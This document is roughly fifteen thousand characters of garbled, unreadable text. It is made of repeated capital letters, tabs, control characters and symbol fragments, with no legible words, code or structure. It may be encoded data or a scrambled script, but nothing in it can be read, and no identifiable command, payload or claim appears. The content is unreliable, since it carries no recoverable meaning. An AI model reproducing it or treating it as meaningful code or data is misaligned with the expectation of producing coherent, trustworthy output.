]lFFFFFllFFFFlFFFFFFFFF]lFllF 	FFFFT NOlFFlFBW^S_FFF[FFNOF9		N9UNSUROJFFFFVO]lF9		NP

_
TNSUROJFFFBW^S_FFMFFWO]lFFF9		NP

_
TNSUUOJFFP

_
TNSUTONOO]llFFFFFllFFFFFF 	FSV_R^V_UV^NOllFFFlIIF16F F/\F	
F	llFFFFFBWRV	P
UFF[FFFNO]lFFFFlFFFFFFBWRV	P
U=9UNSUQO;FFF[F^P	PU QNO]lFFFBWRV	P
U=9UNSU^O;FF[FFFFFF6.690#45/)(]lFBWRV	P
U=9UNSU_O;FF[FFFFU	N^UONO]lBWRV	P
U=	^R_ NSRVO;F[FFFFNU	NSRWON9UNSRTOOFFF@@F9
NOOFFFYFWFFFF\FFV]lBWRV	P
U=U	NSRUO;FF[FNU	NSRWONP

_
TNTTQOOFF@@FFF9
NOOFFYFWFF\FFV]lFFFllFFFFBWRV	P
U=P

_
TNSRRO;FFFFF[FFNB!*)$'*5=	^R_ NSRSO;OFYFFFNOFFFFFB!*)$'*5=9UNSRSO;FFF\FDD]lBWRV	P
U=P

_
TNSRPO;FF[FNB95#40#4=	^R_ N^PO;OFFFFFYFFFP

_
TNSRQONNOFFFFFFB95#40#4=	^R_ N^PO;JFFFVJFFFNQMUUOOF\FFFFDD]llFB_VQ 
FFF[FFFFNNB!*)$'*5=U	NSR^O;OF@@FFP

_
TNSR_ONB!*)$'*5=	^R_ NSSVO;OOFFFFFYFFFFU	NU_WONB!*)$'*5=9UNSSVO;OFF\FFDD]lllBWRV	P
U=9UNSSWO;FFF[FNB_VQ 
FFFG[[FFFDDOFYFWFFFFF\FFFFFV]lFFFFFBWRV	P
U=9UNSSTO;FFF[FFFF9UNSSUONB_VQ 
O]lFFFFBWRV	P
U=U	NSSRO;F[FFGNB!*)$'*5=9UNSSSO;OFFYFFFFFFWFF\FV]llllBWRV	P
U=U	NSSPO;F[FFFGNB!*)$'*5=	^R_ NSSQO;OFYFFFFWFF\FV]lFFBWRV	P
U=P

_
TNSS^O;F[FFFU	NSS_ON	^R_ NSTSOOFFFFFFYFFNOFFFFF&9		N9UNSPVOJFVOFFF\FFFFV]llFFFFFFBWRV	P
U=	^R_ NSPWO;FFFFF[FN	TUP9SNP

_
TNSPWOJFDDOFFG[[FFFFDDOFYFFFFWF\FV]lFFFFFFFBWRV	P
U=9UNSPTO;F[FFU	NSS_ON9UNSTSOOFYFNOFFF&9		N9UNSPUOJFVOF\FFFV]lFBWRV	P
U=	^R_ NSPRO;FF[F	^R_ NSS_ON9UNSTSOOFFYFFFFNOFF&9		N9UNSPSOJFFFFVOFFF\FFFFFV]lFFFFFFBWRV	P
U=	^R_ NSPPO;F[FFP

_
TNSPQONP

_
TNSTSOOFFFYFFFFFNOFFFF&9		NU	NSP^OJFVOF\FV]lBR WPV FF[FTQ^V^_ NO]lFFFFFBWRV	P
U=9UNSP_O;FF[FFFFFF&	^R_ NSQVONBR WPV FHFF9UNSQWOOFFYFN RN&P

_
TNSQTONBR WPV FHFFFF9UNSQWOJFFF 
JFF

JFVJFFFN^WWWM^WOOOFYFFFFFTFFF\FFWOFF\FFFV]lllFFBWRV	P
U=	^R_ NSQUO;F[FF&U	NSQRONBR WPV FFHF	^R_ NSQSOOFFYFN RN&P

_
TNSQPONBR WPV FHFFFU	NSQSOJF 
JFFFF

JFFFVJFFFFN^WPUMT_OOOFYFFFTFFF\FFFWOFFF\FFFFFV]lBWRV	P
U=U	NSQQO;F[FF&U	NSQRONBR WPV FFFHFF9UNSQ^OOFYFFN RN&U	NSQPONBR WPV FFFFHFFFFF9UNSQ^OJF 
JF

JFFFFVJFFFFFFN^WWTM^VOOOFYFFFFTFF\FFWOFFFFFF\FV]lB9QQ
FF[FFFF	^R_ NSQ_OFFFFFHFFF	
_N'$56'2.FHFAAJFFNWUKSOO]lFFFFFBQPQ9_VFFFFF[FFFFFP

_
TNS^VOFHFFFFF	
_N'$56'2.FHFFAAJFFNWUKSOO]lFFFFBWRV	P
U=	^R_ NS^WO;FFF[FV]lFF 	FFNN 	T^U^NOJFFBR WPV JF'$56'2.FFHFF9UNS^TOOFFFB
PVP
WSOFFlF FFN&P

_
TNSQRONB
PVP
WSFFHFAIAFFHFFB9QQ
FFHFFU	NSVPOOOFFFFFBWRV	P
U=P

_
TNS^WO;F[FFW]lF FN&U	NSQRONB
PVP
WSFFFFFFHFFFFFAIAFFFHFFBQPQ9_VOF@@FFFFNOF&9UNTVTONB
PVP
WSFFFFFHFFAIAFHFFFFFBQPQ9_VOFFXFFP

_
TNS^UONOFFFKFFFNUS^KWW^OOFFFlBWRV	P
U=P

_
TNS^RO;FFFFFF[FFT]lFFF]llllFFFFFFlFNBQPQ9_VJFFB
PVP
WSO]lFFB		9_W9	^UF[F9UNS^SONU	NRSROOFFYFF&9UNRSRONP

_
TNS^POOFF\F 
]lFF FFFNG	^R_ NS^QONB		9_W9	^UOFFFFFB		9_W9	^UF[[[FFFFFDDFFFFFFFFFB		9_W9	^UFFF[[[FFFU	NS^^OOFB		9_W9	^UFF[FFFFF9UNS^_O]lBWRV	P
U=	^R_ NS_VO;FF[FFFN&U	NSQRON'$56'2.FHFB		9_W9	^UOF@@FFFFP

_
TNUPPONNOFF&U	NSQPON'$56'2.FFHFFFFB		9_W9	^UOJFF9UNS_WOOFFG[[FFFFF 
OFFFYFFWFFF\FFV]lBWRV	P
U=U	NS_TO;FF[FFN&9UNS_UON'$56'2.FFFFFHFFFFFFU	NS_ROOFF@@F9UNUPPONNOFFF&9UNSQPON'$56'2.FHFFP

_
TNS_ROOJFU	NS_SOOFFFG[[FFFFFF 
OFFYFFFFWFFF\FFFV]lllBWRV	P
U=U	NS_PO;F[FFFN&9UNS_QON'$56'2.FFHFFFF	^R_ NS_^OOFF@@F	^R_ NUPPONNOFF&9UNS__ON'$56'2.FFFHFFFFU	NPVVOJFFF 
JF

JFFFFFFVJFFNPSSTVMWPOOJFFU	NPVWOOFG[[FFF 
OFFFYFFFWFF\FV]llllFFBWRV	P
U=P

_
TNPVTO;F[F N9UNPVUOOFFFFFFYFFWFFFFF\FV]lFFFFFFBWRV	P
U=P

_
TNPVRO;FFF[FFFFFFN NU	NPVSOOFFF N9UNPVPOOFFF N9UNPVQOOFFFP

_
TNS^SON9UNPV^OOFFFFFFFFFFFF	^R_ NPV_ON9UNPWVOOFFFFFFFFFFNB!*)$'*5=P

_
TNPWWO;OFFFFP

_
TNPWTONP

_
TNPWUOOOFFFFFYFWFF\FFV]lFBWRV	P
U=	^R_ NPWRO;FF[FFFFNOF9		NP

_
TNRPSOJFFFFVO]lBWRV	P
U=	^R_ NPWSO;F[FFFFNOFF9		N	^R_ NPWPOJFFVO]lFBWRV	P
U=9UNPWQO;FFFF[FNOFFFF9		N9UNPW^OJFFFVO]lllBUUV
_FFF[FFFFFT_RUU99N	^R_ NPW_OJFNOO]B
 P[P_V]BS [NB
 PXVOYB
 P\KB
 P]llFB^TR_TSFFFFF[FFV]llFFFFB V9PFFF[FFV]lFFFF FFFNP

_
TNR^WONBUUV
_OOFFFFllllFFFFF 	FFFNBUUV
_FFFBWU^_OFFFFFlllFF FFFN9UQ ^TWRNBWU^_OFFF[[[FFFFDDOFF	]llB^TR_TSMM]llFFB	TU_^FF[FFF	^R_ NR^WONBWU^_OFFYFNOFFNNBWU^_=P

_
TNPTVO;OFFFFYFFBWU^_=9UNPTVO;F\FFFWOFFFF\FFFW]lFFBWR_9 _FFF[F	^R_ NR^WONBWU^_OF@@FFFFNBWU^_=P

_
TNPTWO;OFYFFNOFFBWU^_=	^R_ NPTWO;FF\FV]lF FFFFNGB	TU_^F@@FFFFNGBWR_9 _FFFFBWR_9 _FZFFP

_
TNPTTONOFFFFKFFFNUSSVMSVOOOFB V9PMM]llllFFFFlFlFFBWRV	P
U=U	NPTUO;FF[FB^TR_TS]llFFBWRV	P
U=9UNPTRO;FFFFFF[FFFB V9P]lFFFFB
TS FFFFF[FFP

_
TNPWTONP

_
TNSTSOOFFFFFYFF&9		N	^R_ NPTSOJFDDOFFFFFF\FFFFFFDD]lFFFFBWRV	P
U=P

_
TNPTPO;FFF[FFFU	NPTQONB
TS OFFYF9UNSRQONB
TS JFFFFVJFFFFNTU_8TUROOFFFFFF\FFFDD]lFB9 _UURFF[FU	NPWTON	^R_ NSTSOOFFFFFYF&9		N9UNPT^OJFFFNOOFF\FFFFNO]lFFFFBWRV	P
U=9UNPT_O;FF[FNU	NR^WONB9 _UUROFF@@FNGNB9 _UUR=AA;OFFFFFFFGNB9 _UUR=U	NPUVO;OOOFYFFFWFFFF\FFFFFFV]lFFFFFFFFFFN2	
FB
WSW9TOFlFFFFFFBWRV	P
U=U	NPUWO;F[F	^R_ NPUTONB
WSW9TKX+NOJFVJFFFNRTMW^OO]lFFFFFFN#	FFFFB
WSW9TOFFFllllFFFBWRV	P
U=	^R_ NPUWO;F[F9UNPUUONB
WSW9TKX+NOJFVJFFFNVT^MVWROO]lFlllFFFFFFFFFBWRV	P
U]llFlFFF 	FF9WRTSQUNOllFFFFFF FN	^R_ NPWTON9UNPUROOOFFFFFlFFFFFFFNOFFF9
N	^R_ NPUSOO]lFFFFFFlFF9UNPWTON9UNPUPOOFFYFFFNOFFFFF9
	9
NOFFF\FFDD]lFllFlFFFFF 	FV	 NB_T99OlFFlFBR_R	
F[FFFDD]lFFF FFFN9UNPWTON9UNPUQOOOFFFlIIF	K	
F
llFFBR_R	
FFFF[FFNOFFFFFFU	NPU^ON	9
NOJF	N	^R_ NPU_OOO]lFFFlFF FNGFFFFBR_R	
FF@@FF9UNPWTON9UNPRVOOOFlFFBR_R	
F[FFNOFF	^R_ NPU^ON99
NOJF	N	^R_ NPU_OOO]lFlFF FFFFNGFFFBR_R	
FFFFF@@FU	NPWTON9UNPRWOOOFlFBR_R	
FF[FNOFFFFFFU	NPU^ON9
	 	NU	NPRTOOJFF	N9UNPU_OOO]llF FFNGFFBR_R	
FF@@FFF	^R_ NPRUONU	NPRROOOFFFFFlFFBR_R	
F[FNOFFFF	^R_ NPU^ONNOFFF9		N9UNPRSOJFFFDDOJFF	NP

_
TNPU_OOO]lFFFFFlFFF FNGFFFBR_R	
F@@FNB95#40#4=P

_
TNPRPO;OOFFllFBR_R	
F[FFNOFFFFB95#40#4=P

_
TNPRPO;]lFlll FNGFBR_R	
FF@@FNB95#40#4=	^R_ NPRQO;OOFFFFlFFFFFFFBR_R	
FF[FFFFNOFB95#40#4=P

_
TNPRQO;]lFlFF FNGFFBR_R	
OFFFFlIIF16F2
F$
	\F
F
llFB_T99]lFFFlFFFFBR_R	
]lFFl 	FFFFT
T__NOlFlFFFFFFFFFlILF	
	
F
FLIllllFBQ^TFFFFF[FFFU	NPR^ON	^R_ NRSROOFYFFFNOFFF&	^R_ NPR_ON9UNPSVOOFF\FFFV]l FFN	^R_ NPR^ON	^R_ NRQUOOOF&P

_
TNPSWONNW_UKWUOO]lFFB^Q_UF[FFNBQ^TFXFFNVMVPOF@@FFBQ^TFFFFZFNRSZZTOOFYFNBQ^TFFFKFFFFFFN^MTOOFF\FNNBQ^TFFFFFFXFFFFVFF@@FFFFBQ^TFFZ[FFFFNUR8SROOFFYFNQMUOFF\FFFFFFNVW_MVRWOO]lFFFFF FNGFFFFSP9T
P	NOOFFlF]lllFFFFFllllF FFFNG_QTSS_^P
 _RWN9UNRU^OOOFFFFFFlFF]llFFlFFFFlB	P	_9FF[FFFP

_
TNPSTONO]lllFFFB^
F[FFFQP^WSUWNO]lFFF FFFNlGFFFU	NR^WONB^
OlFFGFNB^
=	^R_ NU^SO;OFFFFFFFFGFFFFF	^R_ NPSUONB^
=	^R_ NPSRO;OFFGFFFFFB^
=	^R_ NPSRO;lFFFFFFGFFFFNB^
=P

_
TNU_TO;OFFFFFFGFU	NR^WONB^
=P

_
TNU_TO;OFFFFFFNB^
=P

_
TNU_TO;OlFFFOFllllFFFT NO]lFF]lFlFB	V9_RP	FF[FFB^
=9UNPSSO;]lFBT__Q
WSFFFF[FFB^
=	^R_ NU_TO;]lFF9
T
PTTN	^R_ NU^^OJFB	V9_RP	JFFU	NPSPOO]llllFFFFBPPQ^VQPRFFFF[FP

_
TNPR^ON9UNPRROOFYFFFFNOFF9		N	^R_ NPSQOJFFFFFFDDOFFF\FDD]BTT^^[^^^P]BRTU[BTT^^C^]lFF FFFNBPPQ^VQPRFFFFG[[FFFFFDDFFF@@FF	^R_ NW_SONBPPQ^VQPRJFBT__Q
WSJFFFFFOOFlFFFBT__Q
WSFF[FF9UNU_VONU	NW_PONBT__Q
WSJFNBPPQ^VQPROOO]lFFFU	NPS^ONBT__Q
WSO]lFFFF9UNPS_ONBT__Q
WSJFFBPPQ^VQPRO]lFFF
 FFFFFFNP

_
TNPPVONBT__Q
WSOFXFFFWOFFlFFFFFP

_
TNPS^ONBT__Q
WSO]lFFFFFFFlILFF	KFLIlllFF FFFFFNNP

_
TNPSTONOFFKFB	P	_9OFFFFFXFFFFFNOFFFFFNB^Q_UFLFFFVHPOOFFFFlIIFK	F
F 	F16F4F5	llFFFT NO]lFFFF]llFFlFlFFBW
_^^UFF[FF9U_QSRNO]lFFFRUQR
WPP^Q NBW
_^^UO]lFllllFBQ ^VFFFF[FFFNO]llllFFFFF FFFNU	NPR^ONP

_
TNPPWOOOFFlF 	FFNNOFF9		N9UNTTPOJFFFNOOFFFFFFB 
 UUTQ	WOFFFllllF FFNP

_
TNPSUONB 
 UUTQ	WOF@@FFFFB 
 UUTQ	WOFFlFFFBQ ^V=;FFFF[FFFFB 
 UUTQ	W]llFFFlFFFlIIF6.6FF	\FFllFlBT^F[FFFNO]lF FN N9UNWROOOFFlFFFBQU	^WWPFFF[FFFP

_
TNPR^ON	^R_ NSV^OOFFFFFYFFFFF&P

_
TNSV^ON	^R_ NWUON16+396*3!/(9"/4JFFAIAOFFHF	^R_ NPPTOOFF\F 
]lF FFFN	^R_ NPPUONBQU	^WWPOOFFFl 	FFFFNBQU	^WWPFFFFFFFBT	W QOFFFlFBT^=;FF[F9UNTSQONBT	W QO]lFFFFFlIIF	F	F
		K 
lllllFFFFllFFFlBUS
VF[FFFFFFNllllF9UNPPROFF[XFFFV	 NDDOJlFFU	NPPSOFFF[XF^P	PU QNOJl	^R_ NPPPOFFFFF[XFF	^R_ NTSQONWP__VVUVNOJFFU	NSVPOOJlF9UNPPQOFFFFF[XFFF	^R_ NPP^ON'$56'2.JFU	NWVPOOJlU	NPP_OFF[XFFBQ ^VJlFFF	^R_ NPQVOF[XFFFBT^JlU	NPQWOFFF[XFFFF9WRTSQUNOJl9UNPQTOF[XFFFFR9 9R9_VSQNBW
_^^UOJllllF9UNPQUOFFF[XFF9
RV	PNBW
_^^UOJlFFFFFFP

_
TNRTTOFFF[XFFNB	R^VF[FFPTU
NOOJlFFFFFFlO]llllFFBPQPFF[FF	^R_ NPR^ONP

_
TNPQROOFFFYFFFFF9	9	NBUS
VOFF\FFFFFFU	NPQSONBUS
VO]lFFFFFFBR 	
UFFF[FRVUQ_9NBPQPJFB	V9_RP	O]lB
W^TVPUFFF[FFNP

_
TNPQPOFFF[XFFF9UNPQQOO]llllFB9R	FFF[FF

]llllFFT NO]ll 	FFNBT__Q
WSFFB^WP OFlFlFFF FNN9UNPSTONOFFFFFFKFFB	P	_9OFFFXFFB^Q_UOFFFlFFFF]llFFlFFlFB^WP FFFFF[FF9UNU_WONNOFFFFFFB^WP O]llFF FNGFFB^WP OFl	]llFFFFFFFFFFlIIF	F
lllllFFFFFBUWWWTFFFFFF[FFB	V9_RP	]llllFB	UFF[FFFWWQW_	Q^QNB^WP JFBR 	
UJFFFB
W^TVPUJFFNWT^8WU^OJFF 	FFNB
WOFFFNBUWWWTOFFFFFFlBWRV	P
UFF[FFFFFRVUQ_9NB
WJFBUWWWTO]llF FFNGBWRV	P
UOFFFFFFFF 
]lFFFFFP

_
TNPQ^ON&	^R_ NUPTON	^R_ NU_WONBWRV	P
UOJFFFOO]lO]l FFFNGFFB	UOFFFl	RR^TT9
NU	NRQWOJFFFFU	NPQ_OFFFHFFB^WP O]lFF	]lFFFFFlIIF654KQF\FF	lllFFlFBQ^FFFF[FRVUQ_9NB	UJFB	V9_RP	O]lFF FFNGFFFFBQ^OFFFFlFFFFF	RR^TT9
N	^R_ NRQWOJFFFU	NP^VOFFHFFB^WP O]l	]llFB9R	FFF[F&9UNUPTONU	NP^WONBQ^OJFFFFFO]llllFFF FFFFNP

_
TNPQ^ONB9R	OOFFllFFFFF FN9UNPR^ON9UNU_SOOOFFFlIIF16F42F'6/F		F	lllFFFFF9		N	^R_ NPSQOJFFB^WP O]lFFlFF]lFFFFFFFFFFF
FFlFFFFFF	RR^TT9
N9UNRQWOJFP

_
TNP^TOFFFFHFFB^WP O]lFFFFFFFlFFFFFN2	
FFB
WSW9TOFFFlFFFFFF	RR^TT9
N9UNP^UOJFB
WSW9TO]lF	]lFFFFFN#	FFFFFB
WSW9TOFFFFFlFFFF	]lFFlllFFFFFF FFFNGFFFFFP

_
TNPQ^ONB9R	OOFlFFBS
F[FFRVUQ_9N	^R_ NPQSONNlFU	NPPROF[XFFFFV	 NDDOJlFF9UNPPSOF[XFF^P	PU QNOJllF	^R_ NPPPOF[XFF9UNTSQONWP__VVUVNOJF9UNSVPOOJllFFF	^R_ NP^ROFF[XFFWJllFOOJFFB	V9_RP	O]lFFBPQ
 9FFFF[FF	^R_ NPP^ONNP

_
TNU__ONBS
OJFFU	NP^SOJFFFP

_
TNP^POOJFFA[AO]lFFFFBVVVTF[FFFFF	^R_ NP^QONBPQ
 9JFFNTT^SK^^SOO]l 	FFFFNBT__Q
WSFFFFFB^WP OFllFFFFF FFFNN	^R_ NP^^ONOFFFFKFFFFFB	P	_9OFXFFFB^Q_UOFFFlFFFF]llFFFB^WP FF[FFF	^R_ NP^WONNOFB^WP O]B_V^[6.69/(29+'>I6.69/(29+'>]B
_9WV[B_V^MRP]l FNB^WP FFF[[[FFDDOFlIIF&			F 	llFFF	]lFFFFFFlFFBSRF[FF	
_NV	 NDDOFFFFFFHFFF9UNP^^ONOJFFFFNWWKUOO]llFFFFBVTVWF[FFF9UNP^_ONBVVVTO]lFFFB
TW_USVFF[FFFN9UNUPPONB^WP JFFFFFFAYAOF[[[FF 
OFFFYFFAYAFF\FFFA@A]lF 	FFFFFNBVS^PTSF[FV]FFBVS^PTSFFFZFFBVTVW]FBVS^PTSMMOFlllF FNNP

_
TNP_VONOFKFFFFB	P	_9OFXFFB^Q_UOFlFFFF]lFlFFFB^RSWUF[FFFNBVS^PTSF[[[FBVTVWFFKFFWO]lFFBWF[FFFFB^WP FFFHFFFB
TW_USVFFFHFFFF9UNP_WOFHFBSRFHFFU	NP_TOFHFBVS^PTSFHFFFF	^R_ NP_UOFFFHFBVTVWFFFHFFF	^R_ NP_ROFFFFHFBVVVT=BVS^PTS;]lFFFBTW^_WFFFF[FQQU9	RPNBWJFN_KWOJFB^RSWUFYF 	FFFFFNB
WOFFFFFFNB	V9_RP	OFFFlBWRV	P
UFF[FFFRVUQ_9NB
WJFFFB	V9_RP	O]ll FNGBWRV	P
UOFFFF 
]lFF9UNP_SON&U	NUPTONP

_
TNP^WONBWRV	P
UOJFFFOO]lFFFFFFF\FF

O]lFFFFF FFNB^RSWUF@@F9UNPSUONBTW^_WOFF@@FFBTW^_WFFFFG[[FFFFFFDDOFFFlFFFFB9F[FRVUQ_9NBTW^_WJFB	V9_RP	O]llFB9QQ
FFFFF[FB9FYF&U	NUPTONP

_
TNP^WONB9OJFFFFFFOFF\FFFFFF

]lF FFNP

_
TNP_SONB9QQ
OOFFlllFB9R	FFFF[FFFB9QQ
]B[PU^W]BVW
	S[BCWU]l FNP

_
TNP_PON9UNU_SOOOFFlF9		NU	NP_QOJFFFFFFB^WP O]lFFllllFFFFFFF]llFllllFFFFllFFFFFFlFFF FFNP

_
TNP_SONB9R	OOFlFFFFF]lFFlFlFFFFFFFl FFFFNGFFFF	^R_ NP_SONB9R	OOFlF]lFFFlF FNB	R^VFFFF@@FFFFF	^R_ NP_^ONP

_
TNP__OOOFlFFFF
9		NST9R	P	UN9UNRTTOOO]lFlFFFFFF FFFNGNB!*)$'*5=U	NRWSO;OFFFFFG	^R_ NP_SONB!*)$'*5=U	NRWSO;OOFB!*)$'*5=P

_
TNQVVO;FFF[FNO]llllFB!*)$'*5=U	NQVWO;F[FFFF	^R_ NQVTON	^R_ NW_PONB!*)$'*5=U	NQVWO;JFFFFFFB	R^VOO]lF FNNB9R	=P

_
TNQVUO;OFF@@FU	NQVRONB9R	=P

_
TNQVSO;OOFFFFlFFFFRT_WNB9R	=9UNQVSO;JFFFFFNB9R	=	^R_ NQVPO;OFFF@@FFFFP

_
TNQVRONB9R	=P

_
TNQVPO;OFFYFB9R	=U	NQVPO;FFF\FDDJFFGNB9R	=	^R_ NQVQO;OO]llFFlFFFFBV	UP_F[F 
]llFFB ^V	9^WQF[FFFFNO]lFFllFF FFFNNB9R	=	^R_ NRQQO;OF@@FFFU	NP_SONB9R	=	^R_ NRQQO;OOFFFFFlFFFB^ VF[FFFFFNO]llFF 	FFFFFFNB9R	=P

_
TNRQQO;FFB TW	R	_ SQPOFFlF FFFFFFN9UNQVRONB TW	R	_ SQPOFF@@FFFB TW	R	_ SQPFFFG[[FDDOFlFB^ V=;FF[FFFB TW	R	_ SQP]lFFFFFFFlILF	F 
	KFLIllFFlFBQSWPFFFF[FFFB!*)$'*5=U	NRQ_O;]lFFFB^ VFFF[FFFVQ PVT RVNB^ VO]llllFB!*)$'*5=	^R_ NRQ_O;F[FFFB^ V]lFFB ^V	9^WQ=U	NRQQO;FFF[FFB^ V]lFF FFNGFFFFNU	NW_PONB^ VJFFBQSWPOOFFFFFGFFFN9UNW_PONBQSWPJFB^ VOOOFFFFlFBV	UP_FF[F]lFFFllFFFFlFFFlFFF FFNNB9R	=U	NQV^O;OFF@@FF	^R_ NQV_ONB9R	=P

_
TNQWVO;OOFFFlFFFFFFB^ VFFFFF[FFFNO]lFFFFlFFF 	FFFNB9R	=9UNQWVO;FFB TW	R	_ SQPOFFFFFl FFFFN	^R_ NQWWONB TW	R	_ SQPOFF@@FFFB TW	R	_ SQPFFG[[FDDOFlB^ V=;FF[FFFFB TW	R	_ SQP]lFFlFFFFFlFFBQSWPFFFFFF[FFFB!*)$'*5=U	NR^TO;]llllFFB^ VFFFFF[FVQ PVT RVNB^ VO]lllFFFFB!*)$'*5=	^R_ NR^TO;FFFF[FFB^ V]lFFFFB ^V	9^WQ=9UNQWVO;FF[FFFB^ V]lFFFFFFF FFNGFNU	NW_PONB^ VJFBQSWPOOFFFGFFN	^R_ NW_PONBQSWPJFB^ VOOOFFlllFBV	UP_FF[FFFF]lFFFFlFlIIFF\F	F
K
llF FFNNB9R	=9UNR^SO;OFF@@F9UNQWWONB9R	=	^R_ NR^SO;OOFlFFB_
UP_S	PFF[FF	TUP9SN9UNQWTOJFFDDO]lB!*)$'*5=P

_
TNQWUO;FFF[FB9R	=U	NR^SO;]lB ^V	9^WQ=P

_
TNQWRO;FF[FFFFB9R	=9UNQWRO;]lFF FFFN9UNQWSONB9R	=U	NQWRO;OFG[[FFF	^R_ NQWSONB_
UP_S	POOFFlIIFF	llFFFF9
T
PTTN9UNQWPOJFFB9R	=P

_
TNQWRO;JFFF9UNQWQOO]lTW^^NO]lFFlFFNB_
UP_S	PO]lllFFFlFFB^T^^V^FFFF[FNB9R	=9UNR_WO;OF@@FFFFP

_
TNQV_ONB9R	=9UNR_WO;OFFYFFFFFB9R	=U	NR_WO;F\FFNO]lll FFFFFFNNB^T^^V^=U	NR^_O;OFFF@@FP

_
TNQWWONB^T^^V^=P

_
TNR^_O;OOFFlFFFF FN9UNSSUONB^T^^V^=U	NR^_O;OFXFFNVTUMV OOFllllFB!*)$'*5=9UNR^^O;FFF[FFFFFB^T^^V^=U	NR^_O;]lFFFFFB ^V	9^WQ=P

_
TNQW^O;FF[FB^T^^V^=P

_
TNQW^O;]lFFFFFF
FFlllFB!*)$'*5=U	NR^^O;FFFFF[FFFFDD]lB ^V	9^WQ=9UNQW^O;FFFF[FDD]l9
T
PTTNU	NQW_OJFFFFDDJF	^R_ NQWQOO]lllFFFFFlFlFF FFFNNB^T^^V^=U	NQTVO;OFF@@FP

_
TNQWWONB^T^^V^=P

_
TNQTWO;OOFlF FFNP

_
TNSSUONB^T^^V^=P

_
TNQTWO;OFFFXFFNPM_ROOFFFFlFFFFFB!*)$'*5=	^R_ NQTTO;FFF[FFFFB^T^^V^=	^R_ NQTWO;]lFFFFB ^V	9^WQ=9UNQTUO;FFF[FFB^T^^V^=P

_
TNQTRO;]lF
FFFlFFFFFFFFB!*)$'*5=P

_
TNQTTO;F[FFFFDD]lFFFB ^V	9^WQ=U	NQTRO;FF[FFFDD]lF9
T
PTTNP

_
TNRWUOJFDDJFP

_
TNQWQOO]llFFlFFFFFFlFFFBW_9SFF[FNB9R	=9UNQTSO;OF@@F9UNQTPONB9R	=	^R_ NQTQO;OFYFFFFB9R	=	^R_ NQTQO;FFF\FFFNO]lFFFFFBWQ_TF[FFNlFU	NQT^OF[XFFP

_
TNQT^OJlFFFFFP

_
TNQT_OFF[XFFF	^R_ NQUVOJllFFF9UNQUWOF[XFFP

_
TNQUTOJlFFFFFFF	^R_ NQUUOFFF[XFFP

_
TNQUROJl	^R_ NQUSOFFFF[XFFF9UNQUPOJlFFF9UNQUQOFF[XFU	NQU^OJlFFP

_
TNQU_OF[XFFF	^R_ NQRVOJlllFP

_
TNQRWOFFFF[XFP

_
TNQRTOJlFFFFO]l 	FFFFNBWQ_TFFFB_9PU F[XFFFB
	^_TOFFFFl FNNBW_9S=B_9PU ;OF@@FFFFF	^R_ NQWWONBW_9S=B_9PU ;OFFF@@FFFFP

_
TNSSUONBW_9S=B_9PU ;OFXFFFNTVP8TSTOOFFlFB ^V	9^WQ=B
	^_T;FFFFF[FFBW_9S=B_9PU ;]lFFFFFFFlFFFl FFFNNB9R	=P

_
TNSUWO;OFFF@@FFFFFP

_
TNQRUONB9R	=U	NSUWO;OOFllB
VST
^F[FNOFFFFFB9R	=	^R_ NSUWO;]lFF FFFFFFNB
VST
^FX[FFFFFNTWSM^SOFFF@@FFFB
VST
^FFZ[FNVWU Q MVWTVWOOFFB ^V	9^WQ=	^R_ NSUWO;F[FFB
VST
^]lFFFFFFFFlFF FNNB9R	=9UNRT_O;OFFF@@FFFU	NQRRONB9R	=9UNRT_O;OOFlB9FF[FFFFFFNOFFB9R	=	^R_ NQRSO;]l FFFFFNB9FX[FFNTPVMRVOF@@FFFFB9FFZ[FFN^PUVSM_SOOFB ^V	9^WQ=P

_
TNQRPO;FF[FB9]lFFFFFFFFl FNNB ^V	9^WQOOFFFFFlF
9		N	^R_ NPW^OO]lF
9		N9UNPWPOO]l9		N9UNQRQOJFF	^R_ NPTTONOO]l
9NP

_
TNQR^OO]lllFFF
PSQ	WNO]B9_PR^[SVMWR]BRP _ST[B9_PR^KRQ]llllFFFF
 SRNO]lFFFF]lFFllllFlFFFBP	VUWFF[FFFFFF_VR 9^RN9UNQR_OJF 
O]lFFFllFF FFNU	NQTPONBP	VUWOOFlFB ^V	9^WQFF[FP

_
TNRTWONBP	VUWJFFFFB ^V	9^WQO]BVWPPR	T
[6.69/(29+'>I6.69/(29+'>]BW	 U[BVWPPR	T
MR^]lFlFFFFFFlF FFFFFFN9UNP_^ON	^R_ NSWPOOOFFlFFFBQQSFFF[FS	VQUVTNO]lllF FFFFNNB ^V	9^WQ=9UNSUWO;OFF@@FFFFFNOFFFFB ^V	9^WQ=P

_
TNQSVO;FFFFX[FFNUW^KW^OFF@@FFNOFB ^V	9^WQ=U	NQSVO;FFFZ[FFFN_PQQWKWVUQWOOFFFFFBQQSFFFF[FNOFB ^V	9^WQ=	^R_ NQSVO;]llFFFFFFFF9NW9_QSSQVNOJFB ^V	9^WQJFFFBQQSO]lFFFFFFlFFFFlFFV_QPTQQV _N9UNQSWOJFFFFFFB ^V	9^WQJFFFFP

_
TNQSTOO]lllFFFFF FFFNNB ^V	9^WQ=	^R_ NQSUO;OFF@@FF	^R_ NP_^ON	^R_ NQSROOFF@@FF	^R_ NP_^ONP

_
TNQSSOOF@@FF	^R_ NP_^ON9UNRUQOOOFFFlFBF[FFFFF99
9NTVQT^NOO]lFFFFF FFNBFFF@@FNOFFFFFFBKX
FFFFFG[[FNOFB ^V	9^WQ=P

_
TNQSUO;OFFFllFFF9
9
9		NTVQT^NOO]l9
9N9UNPTTONOFFMFFFFU	NRRVONNWVW8^_OJFFNTTRMQPOOJFP

_
TNRUVOJFFTVQT^NOO]lFFFlFlF9		N9UNQRQOJFP

_
TNQSPONOO]lFF
9		N	^R_ NQSQOO]lFFFF
9		N9UNPWPOO]lFF
9NU	NQR^OO]l
PSQ	WNO]l
 SRNO]lFFFFFllllF FNBV	UP_OFlFFSR^V V9NO]lFlFFFFN2	
FFFFB
WSW9TOFFlIIF

	F	F 	F16F4#52F'6/FTllFFFFFFFF	RR^TT9
NP

_
TNQS^OJFFB
WSW9TO]lFFFFFFN#	FFB
WSW9TOFFFlFFFFFF 

FFFFFFlFSU_T	_NP

_
TNQS_OO]lFFlFFFFllllllF 	FRT_WNBP9WWJFFFFFFB^T^TUFFFF[FDDJFBUQFFF[F 
OlFFlFFFFFFFF FNG_QTSS_^P
 _RWN	^R_ NQS_OOOF]lFFFFFFFlFFFFlFFFFFBSRFFFFF[FF&U	NRVTONBP9WWJFFO]l FN9UNQPVONBSROF@@FP

_
